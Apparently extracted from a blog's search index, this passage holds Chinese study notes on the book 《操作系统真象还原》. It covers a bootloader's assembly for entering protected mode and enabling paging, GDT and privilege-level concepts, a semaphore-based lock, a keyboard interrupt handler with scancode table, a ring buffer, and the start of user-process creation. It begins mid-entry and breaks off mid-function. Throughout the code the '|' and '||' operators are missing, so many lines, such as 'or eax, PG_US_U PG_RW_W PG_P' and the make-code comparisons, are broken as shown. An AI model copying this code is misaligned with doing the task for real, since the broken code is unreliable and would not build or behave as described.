'e' mov byte [gs:10], 'd' ; 内存检测失败,不再继续向下执行 jmp $.mem_get_ok: mov [total_memory_bytes], edx ; 开始进入保护模式 ; 打开A20地址线 in al, 0x92 or al, 00000010B out 0x92, al ; 加载gdt lgdt [gdt_ptr] ; cr0第0位置1 mov eax, cr0 or eax, 0x00000001 mov cr0, eax ; 刷新流水线 jmp dword SELECTOR_CODE:p_mode_start[bits 32]p_mode_start: mov ax, SELECTOR_DATA mov ds, ax mov es, ax mov ss, ax mov esp, LOADER_STACK_TOP mov ax, SELECTOR_VIDEO mov gs, ax ; 加载kernel mov eax, KERNEL_START_SECTOR mov ebx, KERNEL_BIN_BASE_ADDR mov ecx, 200 call rd_disk_m_32 call setup_page ; 保存gdt表 sgdt [gdt_ptr] ; 重新设置gdt描述符, 使虚拟地址指向内核的第一个页表 mov ebx, [gdt_ptr + 2] or dword [ebx + 0x18 + 4], 0xc0000000 add dword [gdt_ptr + 2], 0xc0000000 add esp, 0xc0000000 ; 页目录基地址寄存器 mov eax, PAGE_DIR_TABLE_POS mov cr3, eax ; 打开分页 mov eax, cr0 or eax, 0x80000000 mov cr0, eax lgdt [gdt_ptr] ; 初始化kernel jmp SELECTOR_CODE:enter_kernel enter_kernel: call kernel_init mov esp, 0xc009f000 jmp KERNEL_ENTRY_POINT jmp $; 创建页目录以及页表setup_page: ; 页目录表占据4KB空间,清零之 mov ecx, 4096 mov esi, 0.clear_page_dir: mov byte [PAGE_DIR_TABLE_POS + esi], 0 inc esi loop .clear_page_dir; 创建页目录表(PDE).create_pde: mov eax, PAGE_DIR_TABLE_POS ; 0x1000为4KB,加上页目录表起始地址便是第一个页表的地址 add eax, 0x1000 mov ebx, eax ; 设置页目录项属性 or eax, PG_US_U PG_RW_W PG_P ; 设置第一个页目录项 mov [PAGE_DIR_TABLE_POS], eax ; 第768(内核空间的第一个)个页目录项,与第一个相同,这样第一个和768个都指向低端4MB空间 mov [PAGE_DIR_TABLE_POS + 0xc00], eax ; 最后一个表项指向自己,用于访问页目录本身 sub eax, 0x1000 mov [PAGE_DIR_TABLE_POS + 4092], eax; 创建页表 mov ecx, 256 mov esi, 0 mov edx, PG_US_U PG_RW_W PG_P.create_pte: mov [ebx + esi * 4], edx add edx, 4096 inc esi loop .create_pte; 创建内核的其它PDE mov eax, PAGE_DIR_TABLE_POS add eax, 0x2000 or eax, PG_US_U PG_RW_W PG_P mov ebx, PAGE_DIR_TABLE_POS mov ecx, 254 mov esi, 769.create_kernel_pde: mov [ebx + esi * 4], eax inc esi add eax, 0x1000 loop .create_kernel_pde ret; 保护模式的硬盘读取函数rd_disk_m_32: mov esi, eax mov di, cx mov dx, 0x1f2 mov al, cl out dx, al mov eax, esi mov dx, 0x1f3 out dx, al mov cl, 8 shr eax, cl mov dx, 0x1f4 out dx, al shr eax, cl mov dx, 0x1f5 out dx, al shr eax, cl and al, 0x0f or al, 0xe0 mov dx, 0x1f6 out dx, al mov dx, 0x1f7 mov al, 0x20 out dx, al.not_ready: nop in al, dx and al, 0x88 cmp al, 0x08 jnz .not_ready mov ax, di mov dx, 256 mul dx mov cx, ax mov dx, 0x1f0.go_on_read: in ax, dx mov [bx], ax add bx, 2 loop .go_on_read retkernel_init: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov dx, [KERNEL_BIN_BASE_ADDR + 42] mov ebx, [KERNEL_BIN_BASE_ADDR + 28] add ebx, KERNEL_BIN_BASE_ADDR mov cx, [KERNEL_BIN_BASE_ADDR + 44].each_segment: cmp byte [ebx], PT_NULL je .PTNULL ; 准备mem_cpy参数 push dword [ebx + 16] mov eax, [ebx + 4] add eax, KERNEL_BIN_BASE_ADDR push eax push dword [ebx + 8] call mem_cpy add esp, 12.PTNULL: add ebx, edx loop .each_segment retmem_cpy: cld push ebp mov ebp, esp push ecx mov edi, [ebp + 8] mov esi, [ebp + 12] mov ecx, [ebp + 16] rep movsb pop ecx pop ebp ret\n\n实模式下的地址拓展于今日而言似乎并没有太大意义了,随着寄存器和总线位数拓宽,不再需要像DOS时代那样仅使用1MB的内存了,因此这里不做记录,只需要记住其寻址最大值是0xffff:0xffff(0x10ffef)即可。\n但内存的寻址方式和进入保护模式以后的段寄存器的用途却十分耐人寻味,一言蔽之即为“描述符–>>内存”\nGDT(Global Descriptor Table):全局描述符表(段描述符表)\n该表用于储存一系列逻辑门、内存段的地址。\n其第一项默认留空,称之为哑描述符。之所以这样规定,似是为了防止在未初始化选择子时违规访问到该描述符,于是索性就对其留空,让无意的访问直接错误。\n而专门有一个寄存器GDT Register(48bit)用于加载该表的地址,使用R0专用的指令 lgdt 加载,通过 sgdt 保存。(我有点怀疑,之所以只有48bit是因为Intel芯片只有48根总线,支持内存只有2^48 BYTE,不过目前64位系统中,这个寄存器又达到79bit了,但目前没有确信)\n其结构如下:\n\n// base: 基址// limit: 寻址最大范围 tells the maximum addressable unit// flags: 标志位// access: 访问权限struct gdt_entry { uint16_t limit_low; uint16_t base_low; uint8_t base_middle; uint8_t access; unsigned limit_high: 4; unsigned flags: 4; uint8_t base_high;} __attribute__((packed));\n\n除此之外,我暂时不对GDT做过多深入\nA20(A20GATE):特殊总线的控制端口\n实则对应第21根总线的控制端口。在80286时代,被使用的总线为0~19,但内存只有1M-0x100000,大于该部分是地址会被回绕。但打通A20(第21根总线)之后,硬件就知道应该拓展地址了,而不应该继续回绕。对应到32位的现代芯片,当A20被开启(置1)以后,处理器将不再把16位以上的地址回绕。(体现为:将0x92端口低位置1)\nin al, 0x92or al, 00000010Bout 0x92, al\n\nCR0 Register:\n处理器控制位图。不过多深究,仅记录PE(Protection Enable):置1则标识进入保护模式。之后,CPU将以4字节为单位读取指令。\n\n分页机制:分页总的能够概况成一句话:“32位地址能够表示2^32空间”。\n似乎没什么特殊的,但当时读完整章之后,我最大的感想就是这句。\n保护模式下,可寻址范围扩大到 4G ,共32位,但出于安全考虑,我们不应该让内存能够被 “平坦地访问” 。所谓平坦,指的是整个内存的地址空间连续,从0~4G可以直接通过地址的加减来访问对应内存;但只要系统会被用户使用,就应该避免内核数据能够被用户直接读写。显然,“平坦模式”下(也就是从加电直到分页之前),我们没办法直接实现这个功能。\n因此需要引入“内存分段(页)”,对于权限低的人,只允许他访问限定好的页,而对于最高权限的内核,则允许它访问整个内存。对于“操作系统占用内存高地址的1GB,用户占用低地址3GB”的设想也是因此得以实现的。可以看出,这个1GB和3GB已经指的是“虚拟地址”了,但这里的虚拟地址又和每个进程都有的“虚拟地址空间”不是同一个东西,后者是进程独立的,而前者则属于操作系统自身。\n概念如此,具体表现在:对32位地址的分割\n首先,按照每页4K来划分内存,4G/4K=2^20,意味着如果对每一页都使用一个索引去表示,需要 1MB * 4=4MB 的内存。但这个肯定是不允许的,因为占用实在太大了,因此我们可以再做一份二级页表(此处称之为“页目录表”(PDE:Page Directory Entry)),该表也按照4K分页,则4MB/4K=2^10,则页目录表只占用 1KB * 4=4KB 大小(1024条目)。\n假设现在,我们容许为此耗费4KB,那么就不需要再继续分页了,过度的分页对导致效率降低。PDE的目的是为了索引页表,共1024个条目(Entry),每个PDE的条目都会指向一个页表,而一张页表对应1K * 4KB = 4MB 内存。\n因此,只需要划出页目录表的后256个条目供内核使用,就能够界定这1GB空间,而只要禁止用户去访问这部分页目录,那么用户程序自然就没办法直接访问内核数据了。\n显然的是,索引1024个条目不需要32位,10位足够了,所以我们完全可以留出一些内容提供额外的信息(上文所述的属性),比如访问权限等(但这是后话,并不是本章的重点,以下仅给出结构而不详细说明)。(另外一个事实是,如果您读到这里都没觉得奇怪,就说明您已经接受了一个条目占用32位的事实了,不过事实确实如此,也说明这并没有反直觉)\n\n\nmov eax, PAGE_DIR_TABLE_POS; 0x1000为4KB,加上页目录表起始地址便是第一个页表的地址add eax, 0x1000mov ebx, eaxor eax, PG_US_U PG_RW_W PG_P; 设置第一个页目录项mov [PAGE_DIR_TABLE_POS], eax; 第768(内核空间的第一个)个页目录项,与第一个相同,这样第一个和768个都指向低端4MB空间mov [PAGE_DIR_TABLE_POS + 0xc00], eax; 最后一个表项指向自己,用于访问页目录本身sub eax, 0x1000mov [PAGE_DIR_TABLE_POS + 4092], eax\n\n第768(内核空间的第一个)个页目录项之所以要和第一项相同,是为了保证分页之后的Loader程序的虚拟地址和物理地址一致。因为Loader也算是内核程序,应该保证它在虚拟地址的高1GB内,所以要把自己这一页放到768项(0xc000000对应的就是768页目录所标识的页表)\n在设置完内核页表以后,调整esp到虚拟地址空间,修改GDT指向虚拟地址的对应位置,将页目录表的地址存入cr3 Register(该寄存器专门用于此功能),置cr0 Register的PG位为1。加载 GDT,从此开启了内核的分页,往后的地址将全都使用虚拟地址替代物理地址。\n显然,当下的“虚拟地址”是由硬件和操作系统共同完成的,它不同于多进程下每个进程独立的“虚拟地址空间”,后者理应是由操作系统单独提供的能力(暂时还没看到后面,但就目前我个人猜测,认为理应如此)。\n然后只需要从硬盘读取内核到0xc0000000,然后跳转到_start函数即可由内核接管以后的工作。且因为自此之后,MBR,Loader等均不再工作,直接在内存中覆盖掉也完全无妨。另外,开启虚拟地址功能以后,所有的思考都应该直接通过虚拟地址完成,不再需要进行物理地址的计算和转换,因为处理器会完成这一切。\n此时的内核已经加载到内存,接下来根据ELF的文件头来获取相关信息以后,将内核按照节区(Section)划分复制到虚拟地址对应的位置后直接用长跳转刷新流水线后达到内核的第一条指令。\n如上内容的流程图:\n\n特权级:首先需要涉及TSS(Task State Segment)结构:\n\n这是一个针对任务的结构体,每个任务都会拥有一个TSS结构体(这个“任务”将在以后成为进程)。\nSS代表栈段寄存器,用以储存不同等级下的栈基址,分别有R0,R1,R2这三个等级;至于R3,因为R3向高权限区域访问时会将自己的SS入栈;而高权限区域从来不需要向R3“主动跳转”,因此不需要SS3(“主动”指的是类似中断、call等,ret等指令我称之为被动跳转)。\n不过就要提到上述的GDT以及下文涉及的门描述符了。其结构如下图。\n\n\n门\ntype值\n存在位置\n用法\n任务门\n0101\nGDT、LDT、IDT\n与TSS配合实现任务切换,不过大多数操作系统都不这么玩\n中断门\n1110\nIDT\n进入中断后屏蔽中断(eflags的IF位置0),linux利用此实现系统调用,int 0x80\n陷阱门\n1111\nIDT\n进入中断后不屏蔽中断\n调用门\n1100\nGDT、LDT\n用户用call或jmp指令从用户进程进入0特权级\nGDT(Global Descriptor Table)除了一般的段描述符外,还储存各类门描述符。\n(但也可能从LDT(局部描述符)中寻找,但原理是一样的)\n一个门描述符中包含了对应的例程选择子和例程偏移量,像该门跳转的过程同一般的jmp相近,但特别的是,需要经过处理器的权限检查。\n必须明确的是:\n描述符 (Descriptor):用以描述一个段的属性\n选择子(Selector):用以访问内存\n因此描述符规定了访问该内存所需的权限,而选择子都表明了访问者拥有的权限。\n每个描述符中的DPL(Descriptor Privilege Level)标识该描述符所拥有的权级,03对应R0R3的权限。接下来分为两个情况:\n请求数据:\n处理器对比当前CPL(Current Privilege Level)和目标段选择子中的DPL(Descriptor Privilege Level),若CPL<=DPL,则允许访问。\n因此对于R3下的程序,如果尝试读取内核数据,就会因为CPL大于DPL而被阻止。\nCPL即为当前CS和SS寄存器选择子中的RPL(Request Privilege Level),意味请求特权级。\n\n检查时机:特权级检查会发生在往 数据段寄存器 中加载 段选择子 的时候,数据段寄存器包括 DS 和附加段寄存器 ES、FS、GS,如\n\n\nmov ds,ax\n\n\n检查条件:CPL <= 目标数据段DPL && RPL <= 目标数据段DPL (只能高特权级的指令访问地特权级的数据)\n\n跳转执行:\n倘若程序企图直接从R3跳转到R0权限执行,就需要通过门进行了。但情况还是要分为两种,跳转目标是/非一致代码段。\n\ncall 内核选择子\n\n\n检查条件\n无门结构且目标为非一致代码段:CPL = RPL = 目标代码段DPL\n无门结构且目标为一致代码段:CPL >= 目标数据段DPL && RPL >= 目标数据段DPL\n有门结构:DPL_GATE >= CPL >= DPL_CODE && RPL <= DPL_GATE(从低特权级跳到高特权级需要通过门)\n\n\n\n转移前的栈结构如下:\n\n同时,当SS切换到高权级的时,会自动将这些内容复制到新的栈中。最后会通过iret或retf指令返回到R3\nRPL意味着“请求者”的权限等级,而非“承包商”的。\n思考这样一个情况:\n\n用户程序发出读取硬盘调用请求,操作系统接收,进入内核(CPL=0/RPL=3)\n操作系统执行调用,将数据写入缓冲区(CPL=0/RPL=3)\n\n倘若缓冲区位于R3段,那么DPL=3,能够正常写;但倘若缓冲区位于R0,那么DPL=0,应该被阻止。RPL相当于发出调用请求的用户程序,而CPL则相当于执行请求的“承包商”,不能因为“当前权限允许就去执行”,还需要判断“发起人是否有足够的权力这样做”。\n至于RPL是在什么时候被写换的,内核态时,RPL为什么不会是0?\n首先,Selector是由操作系统提供的,在提供该Selector时会将RPL改为用户的CPL,因此用户手中的Selector对应的RPL必定会是3。\n然后,CPL是在用户程序加载时由操作系统设定的,并且操作系统规定,处于R3的权限下不能将CS段中的低两位降低,所以用户的CPL必定为3,且不由用户控制。\n最后,在用户需要提交自己的选择子时,不论用户能否伪造它,只要用户无法伪造CS 寄存器,它就无法修改自己提交的选择子。因为只要用户提交选择子,操作系统就会用CPL来替换选择子中的RPL,而该选择子的RPL意味着请求以后的RPL。\n这两个耦合的键值加上操作系统的强权,硬是把权限限死了……\n另外,当调用门完成调用之后,需要从R0切换回R3,只需要把栈中的数据恢复即可。但值得注意的是,DS、ES、FS、GS等寄存器的值如果不属于返回目标对应的DPL区域,会直接被置0,以防止数据泄露。在之后的运行过程中,如果需要调用该寄存器,就会触发处理器异常,然后调用到对应的处理函数去。\n至于本章最后的I/O特权级,我个人认为作为了解性知识即可,便不再过多赘述了。\n.\n.\n.\n插画ID:93302401\n","categories":["Note","操作系统"]},{"title":"《操作系统真象还原》chapter10 笔记与思考","url":"/2022/02/06/systemkernel-chapter10/","content":"\nPART 1 <锁Lock>    首先是上一章的地址访问错误问题。首先回忆一下本书的打印字符串功能是如何实现的:\n\n读取当前光标值\n将光标值转换为坐标值\n向坐标写入字符\n更新光标值\n\n    其中,更新光标的过程如下:\n\n通知光标寄存器将要设置高8位\n设置高8位\n通知光标寄存器将要设置低8位\n设置低8位\n\n    接下来,当引入多线程以后,设想如下一个执行过程:首先假设存在线程A和线程B\n\n线程A尝试打印字符,打印结束以后,线程A进入第四步更新光标\n更新光标时,当执行到通知设置低8位时,中断发生,切换到线程B\n\n    此时,光标的坐标才刚设置了新的高8位,低8位已经被计算出来了,但还没能设置到寄存器中。但如果没有换行等,尚且不会影响到以后的打印,因为高位坐标浮动不大。\n\n线程B也需要打印字符,它也走到更新光标的时候。当它通知寄存器接下来要设置高8位时,发生中断,切换到线程A\n现在,光标寄存器以为接下来要设置高8位,而线程A则继续执行设置步骤,将本应该设置到低8位的值放到高位去了。\n\n    低位的浮动极大,诸如0xfc这样的值被放进高位,将直接导致内存访问异常。\n    那么朴素一点的解决方法就是,别让线程在打印的时候被中断。但这也不太现实,因为不只是打印字符串函数会这样,所有需要访问全局资源的函数都可能出现这个问题。并且这些函数也往往都是些底层函数,这样做对debug来说似乎不太友好,层层封装还有额外消耗,所以针对资源访问,引入一个锁来替代关闭中断。\n    锁的思路也不复杂:\n\n首先,为全局资源添加一个锁(体现为结构体,其中带有一个value)。\n接下来,任何线程尝试访问该资源时,首先查看资源是否已经上锁。若上锁,则直接将自己阻塞(加入该锁本身的阻塞队列),等待直到被唤醒为止;若未上锁,则获得该锁以防其他线程也访问该资源,然后将所有事情做完以后,释放该锁,然后主动去唤醒阻塞队列中的线程。\n\n    上面的过程是没有关中断的,显然,它仍然是能够被调度的,那些不需要访问该资源的线程自然就不会因为你需要访问全局资源而被卡脖子了。而那些需要访问本资源的线程则会在尝试访问时因为锁已经被获取了,所以陷入阻塞状态,直到当前拿着锁的线程释放锁以后主动唤醒自己。\n    具体的代码实现如下:\nstruct semaphore { uint8_t value; struct list waiters;};struct lock { struct task_struct* holder; // 锁的持有者 struct semaphore semaphore; // 用二元信号量实现锁 uint32_t holder_repeat_nr; // 锁的持有者重复申请锁的次数};\n\n    通过信号量来实现锁的功能。本书的方法如下:\n\n信号量初值为1。当有线程需要获得锁时,先将信号量减一,然后把holder指向自己的PCB;而释放锁则需要先将holder指向NULL,然后将信号量加一。\n\n    而检测锁的方式是在需要操作信号量的时候进行一次判断:\n\n减一时:如果信号量为0,则表示锁已经被取走,将自己加入锁的等待队列以后阻塞自己。\n加一时:如果等待队列非空,那就唤醒等待队列里的第一个线程,然后把信号量增加\n如上两个操作均需要在关闭中断的情况下进行,即原子操作\n\n    至于唤醒和阻塞的实现也同样不复杂:\n\n阻塞:将线程从调度器的调度队列里摘出,加入等待队列。\n唤醒:将线程从等待队列里摘出,加入调度器的调度队列。\n\n    现在我们就知道是什么情况了。只要没有线程去唤醒这些被阻塞的线程,它们就永远不会被调度器选中。那么最开始的问题是解决了,只需要把put_str这样的函数再封装一次,在外部加上获取锁和释放锁的操作,就能保证不会有上面那样的错误出现了;而对于不需要打印字符串的线程也能够正常的进行操作。\n\nPART 2 <键盘驱动>    虽然本章第二节开始都在讲这个,但概况起来看,内容不是很多,个人认为更多的是一些了解性的知识。\n    在中断那章有注意到,8259A芯片的IRQ1对应的就是键盘中断了。键盘每次击键时都会发生若干次中断,具体过程如下:\n\n键盘内置的8048芯片在每次按下按键时,会根据不同的按键向8042芯片发送对应的扫描码,同时在松开按键的时候也会发送不同的扫描码。\n8042芯片将该扫描码转换成兼容早期键盘的第一套扫描码后,将其送到固定的端口,同时触发8259A芯片的中断。\n(注:扫描码多为单字节,但也存在多字节扫描码,每传输一个字节的扫描码就需要触发一次中断,因此一个按键就可能触发多次中断)\n8259A芯片在接收中断以后做对应的处理。键盘驱动似乎就是对应的中断处理函数 **(笔者还不确定这么说是否合适)**。\n\n    扫描码如下:注释中标明了每列的意思。\nstatic char keymap[][2] = {/* 扫描码 未与shift组合 与shift组合*//* ---------------------------------- *//* 0x00 */ {0, 0}, /* 0x01 */ {esc, esc}, /* 0x02 */ {'1', '!'}, /* 0x03 */ {'2', '@'}, /* 0x04 */ {'3', '#'}, /* 0x05 */ {'4', '$'}, /* 0x06 */ {'5', '%'}, /* 0x07 */ {'6', '^'}, /* 0x08 */ {'7', '&'}, /* 0x09 */ {'8', '*'}, /* 0x0A */ {'9', '('}, /* 0x0B */ {'0', ')'}, /* 0x0C */ {'-', '_'}, /* 0x0D */ {'=', '+'}, /* 0x0E */ {backspace, backspace}, /* 0x0F */ {tab, tab}, /* 0x10 */ {'q', 'Q'}, /* 0x11 */ {'w', 'W'}, /* 0x12 */ {'e', 'E'}, /* 0x13 */ {'r', 'R'}, /* 0x14 */ {'t', 'T'}, /* 0x15 */ {'y', 'Y'}, /* 0x16 */ {'u', 'U'}, /* 0x17 */ {'i', 'I'}, /* 0x18 */ {'o', 'O'}, /* 0x19 */ {'p', 'P'}, /* 0x1A */ {'[', '{'}, /* 0x1B */ {']', '}'}, /* 0x1C */ {enter, enter},/* 0x1D */ {ctrl_l_char, ctrl_l_char},/* 0x1E */ {'a', 'A'}, /* 0x1F */ {'s', 'S'}, /* 0x20 */ {'d', 'D'}, /* 0x21 */ {'f', 'F'}, /* 0x22 */ {'g', 'G'}, /* 0x23 */ {'h', 'H'}, /* 0x24 */ {'j', 'J'}, /* 0x25 */ {'k', 'K'}, /* 0x26 */ {'l', 'L'}, /* 0x27 */ {';', ':'}, /* 0x28 */ {'\\'', '"'}, /* 0x29 */ {'`', '~'}, /* 0x2A */ {shift_l_char, shift_l_char}, /* 0x2B */ {'\\\\', ''}, /* 0x2C */ {'z', 'Z'}, /* 0x2D */ {'x', 'X'}, /* 0x2E */ {'c', 'C'}, /* 0x2F */ {'v', 'V'}, /* 0x30 */ {'b', 'B'}, /* 0x31 */ {'n', 'N'}, /* 0x32 */ {'m', 'M'}, /* 0x33 */ {',', '<'}, /* 0x34 */ {'.', '>'}, /* 0x35 */ {'/', '?'},/* 0x36 */ {shift_r_char, shift_r_char}, /* 0x37 */ {'*', '*'}, /* 0x38 */ {alt_l_char, alt_l_char},/* 0x39 */ {' ', ' '}, /* 0x3A */ {caps_lock_char, caps_lock_char}/*其它按键暂不处理*/};\n\n    但需要注意的是,只有处理器每次从0x60号端口取走一字节的扫描码以后,键盘才会触发下一次中断。所以对于一些组合键或是多字节扫描码的按键来说,需要多次中断才能判明用户的行为。所以中断处理函数似乎变得有些臃肿。\n\n注:同一个按键按下时产生“通码”,松开时产生“断码”。通码和断码从开始就设计好了,它们只差了二进制数的第七位。对于第七位为0的数是通码,为1的则为断码。下述代码的break_code就是断码,make_code是通码。\n\n/* 键盘中断处理程序 */static void intr_keyboard_handler(void) {/* 这次中断发生前的上一次中断,以下任意三个键是否有按下 */ bool ctrl_down_last = ctrl_status; bool shift_down_last = shift_status; bool caps_lock_last = caps_lock_status; bool break_code; uint16_t scancode = inb(KBD_BUF_PORT);/* 若扫描码是e0开头的,表示此键的按下将产生多个扫描码, * 所以马上结束此次中断处理函数,等待下一个扫描码进来*/ if (scancode == 0xe0) { ext_scancode = true; // 打开e0标记 return; }/* 如果上次是以0xe0开头,将扫描码合并 */ if (ext_scancode) { scancode = ((0xe000) scancode); ext_scancode = false; // 关闭e0标记 } break_code = ((scancode & 0x0080) != 0); // 获取break_code if (break_code) { // 若是断码break_code(按键弹起时产生的扫描码) /* 由于ctrl_r 和alt_r的make_code和break_code都是两字节, 所以可用下面的方法取make_code,多字节的扫描码暂不处理 */ uint16_t make_code = (scancode &= 0xff7f); // 得到其make_code(按键按下时产生的扫描码) /* 若是任意以下三个键弹起了,将状态置为false */ if (make_code == ctrl_l_make make_code == ctrl_r_make) { ctrl_status = false; } else if (make_code == shift_l_make make_code == shift_r_make) { shift_status = false; } else if (make_code == alt_l_make make_code == alt_r_make) { alt_status = false; } /* 由于caps_lock不是弹起后关闭,所以需要单独处理 */ return; // 直接返回结束此次中断处理程序 } /* 若为通码,只处理数组中定义的键以及alt_right和ctrl键,全是make_code */ else if ((scancode > 0x00 && scancode < 0x3b) \\ (scancode == alt_r_make) \\ (scancode == ctrl_r_make)) { bool shift = false; // 判断是否与shift组合,用来在一维数组中索引对应的字符 if ((scancode < 0x0e) (scancode == 0x29) \\ (scancode == 0x1a) (scancode == 0x1b) \\ (scancode == 0x2b) (scancode == 0x27) \\ (scancode == 0x28) (scancode == 0x33) \\ (scancode == 0x34) (scancode == 0x35)) { /****** 代表两个字母的键 ******** 0x0e 数字'0'~'9',字符'-',字符'=' 0x29 字符'`' 0x1a 字符'[' 0x1b 字符']' 0x2b 字符'\\\\' 0x27 字符';' 0x28 字符'\\'' 0x33 字符',' 0x34 字符'.' 0x35 字符'/' *******************************/ if (shift_down_last) { // 如果同时按下了shift键 shift = true; } } else { // 默认为字母键 if (shift_down_last && caps_lock_last) { // 如果shift和capslock同时按下 shift = false; } else if (shift_down_last caps_lock_last) { // 如果shift和capslock任意被按下 shift = true; } else { shift = false; } } uint8_t index = (scancode &= 0x00ff); // 将扫描码的高字节置0,主要是针对高字节是e0的扫描码. char cur_char = keymap[index][shift]; // 在数组中找到对应的字符 /* 如果cur_char不为0,也就是ascii码为除'\\0'外的字符就加入键盘缓冲区中 */ if (cur_char) { /***************** 快捷键ctrl+l和ctrl+u的处理 ********************* * 下面是把ctrl+l和ctrl+u这两种组合键产生的字符置为: * cur_char的asc码-字符a的asc码, 此差值比较小, * 属于asc码表中不可见的字符部分.故不会产生可见字符. * 我们在shell中将ascii值为l-a和u-a的分别处理为清屏和删除输入的快捷键*/ if ((ctrl_down_last && cur_char == 'l') (ctrl_down_last && cur_char == 'u')) { cur_char -= 'a'; } /****************************************************************/ /* 若kbd_buf中未满并且待加入的cur_char不为0, * 则将其加入到缓冲区kbd_buf中 */ if (!ioq_full(&kbd_buf)) { ioq_putchar(&kbd_buf, cur_char); } return; } /* 记录本次是否按下了下面几类控制键之一,供下次键入时判断组合键 */ if (scancode == ctrl_l_make scancode == ctrl_r_make) { ctrl_status = true; } else if (scancode == shift_l_make scancode == shift_r_make) { shift_status = true; } else if (scancode == alt_l_make scancode == alt_r_make) { alt_status = true; } else if (scancode == caps_lock_make) { /* 不管之前是否有按下caps_lock键,当再次按下时则状态取反, * 即:已经开启时,再按下同样的键是关闭。关闭时按下表示开启。*/ caps_lock_status = !caps_lock_status; } } else { put_str("unknown key\\n"); }}\n\n    然后将该函数注册到IDT中即可。但是我们只是让自己敲的键盘字符出现的屏幕上,并不是像shell那样能被读取。这些字符并不是出现在缓冲区里的,所以本书最后一节实现了一个简单的环形缓冲区,用以暂存从键盘上输入的字符,让其他程序能够从该缓冲区里读出用户键入的数据。\n\n注:上面的intr_keyboard_handler来自本章最后一节,实际上它已经实现了缓冲区了。通过ioq_putchar函数将数据放入缓冲区中。\n\n\nPART 3 <环形缓冲区>    最后一节也没有太多内容了,关于环形缓冲区的思路随便搜一下就能找到。还有关于生产者和消费者的问题,个人认为书上的表述并不太好,还是看代码字节理解来得更快。本节内容并不是什么复杂的东西,这里就不赘述了。\nstruct ioqueue { struct lock lock; struct task_struct* producer; struct task_struct* consumer; char buf[bufsize]; // 缓冲区大小 int32_t head; // 队首,数据往队首处写入 int32_t tail; // 队尾,数据从队尾处读出};\n\nvoid ioq_putchar(struct ioqueue* ioq, char byte) { ASSERT(intr_get_status() == INTR_OFF); while (ioq_full(ioq)) { lock_acquire(&ioq->lock); ioq_wait(&ioq->producer); lock_release(&ioq->lock); } ioq->buf[ioq->head] = byte; // 把字节放入缓冲区中 ioq->head = next_pos(ioq->head); // 把写游标移到下一位置 if (ioq->consumer != NULL) { wakeup(&ioq->consumer); // 唤醒消费者 }}\n\nchar ioq_getchar(struct ioqueue* ioq) { ASSERT(intr_get_status() == INTR_OFF); while (ioq_empty(ioq)) { lock_acquire(&ioq->lock); ioq_wait(&ioq->consumer); lock_release(&ioq->lock); } char byte = ioq->buf[ioq->tail]; // 从缓冲区中取出 ioq->tail = next_pos(ioq->tail); // 把读游标移到下一位置 if (ioq->producer != NULL) { wakeup(&ioq->producer); // 唤醒生产者 } return byte; }\n\n    两个函数分别从缓冲区中放入和读取一个字节。此处的缓冲区也属于全局资源,所以也需要加锁,同时是用while进行判断的,因为可能唤醒该线程的时,线程还是不符合条件的情况出现。\n    然后现在回顾上一个PART的中intr_keyboard_handler函数。\nstruct ioqueue kbd_buf; if (!ioq_full(&kbd_buf)) { ioq_putchar(&kbd_buf, cur_char); }\n\n    kbd_buf是内核全局变量,也就是内核缓冲区。键盘的输入会存入内核缓冲区,然后由其他程序读出以实现交互(其实就是本书本章本节前面实现的控制台了)。\n插画ID:92002347\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter11 笔记与梳理","url":"/2022/02/09/systemkernel-chapter11/","content":"\n本章总算是开始我之前最关心的问题:用户进程的虚拟地址空间如何实现。实际上在读前几章的时候就大概知道了,但还是对其具体的实现和细节方面抱有疑问,既然现在看完这章了,趁着还记得的时候留些笔记好了。\n首先是关于TSS(Task Status Segment)的作用和开始时存在的疑问:\n\nTSS早期是由Intel设计出来,并建议操作系统厂商在实现多任务时使用的结构。支持多任务的操作系统往往是通过中断来实现任务切换的,Intel的目的是希望通过TSS保存任务中断前的状态(寄存器、栈、位图、上一个TSS结构),然后由操作系统加载新的TSS到该寄存器中并记录中断前TSS到新TSS中,以实现任务嵌套。\n\n但从结论上说,由于操作系统维护TSS的开销巨大,于是各个操作系统厂商都拒绝了这套方案,转而用自己的实现去替代,而TSS只起到特权级切换时对栈的切换而已。\nLinux选择了更加简单的维护寄存器方案:\n\n直接在任务自己的栈中push寄存器,同时之维护TSS中与栈相关的内容。且让所有任务共用一个TSS。\n\n不过我们也知道,Linux只用了R0和R3两个特权级,所以对只需要维护TSS中SS0和ESP0即可。\n接下来概述一下建立用户进程的流程:\n\n首先需要为用户进程建立TSS,但只需要为其SS0选址。\n同时还要为用户进程添加GDT(还未建立LDT),分别是其代码段还数据段。\n然后为用户进程建立PCB(流程同之前加载线程相同)\n为用户进程建立用户空间虚拟内存池,初始化其位图\n为用户进程创建新页表\n将用户进程加入到调度队列\n\n尽管流程如上,但有几个需要注意的细节点:\n\n首先是关于如何切换到用户进程。用户进程毕竟是运行在R3权限下的进程,但目前我们却在做R0才能做的事,且处理器是不允许我们能够普通地从高特权级往低特权级转移的,类似jmp和call指令在特权检查时会被阻止。\n\n一般的想法应该是中断返回,这是处理器唯一容许的由高权级往低权级转移的方法。所以我们的目的是在内核栈中伪造数据,然后通过iret指令返回到用户进程中。由此往后再通过普通的线程调度来回切换即可。任务切换走的是时钟中断,和线程调度并无区别,只是任务切换涉及到了页表切换这一过程。\n调度器会在进行线程/进程调度时进行页表切换。对于用户进程,其页表地址的PCB中记录;对于内核线程,其页表地址为NULL,将会默认切换回内核页表。至于用户线程,则可和用户进程一样,只是其PCB中记录进程本身的页表地址。\n创建进程:\nvoid process_execute(void* filename, char* name) {struct task_struct* thread = get_kernel_pages(1);init_thread(thread, name, default_prio);create_user_vaddr_bitmap(thread);thread_create(thread, start_process, filename);thread->pgdir = create_page_dir();enum intr_status old_status = intr_disable();ASSERT(!elem_find(&thread_ready_list, &thread->general_tag));list_append(&thread_ready_list, &thread->general_tag);ASSERT(!elem_find(&thread_all_list, &thread->all_list_tag));list_append(&thread_all_list, &thread->all_list_tag);intr_set_status(old_status);}\n\n注意第五行thread_create函数,该线程将调用start_process函数,而filename则是我们输入的文件(假设它是一个函数吧,因为笔者目前还没看到第12章)\nstart_process实例如下:\nvoid start_process(void* filename_) {void* function = filename_;struct task_struct* cur = running_thread();cur->self_kstack += sizeof(struct thread_stack);struct intr_stack* proc_stack = (struct intr_stack*)cur->self_kstack;proc_stack->edi = proc_stack->esi = proc_stack->ebp = proc_stack->esp_dummy = 0;proc_stack->ebx = 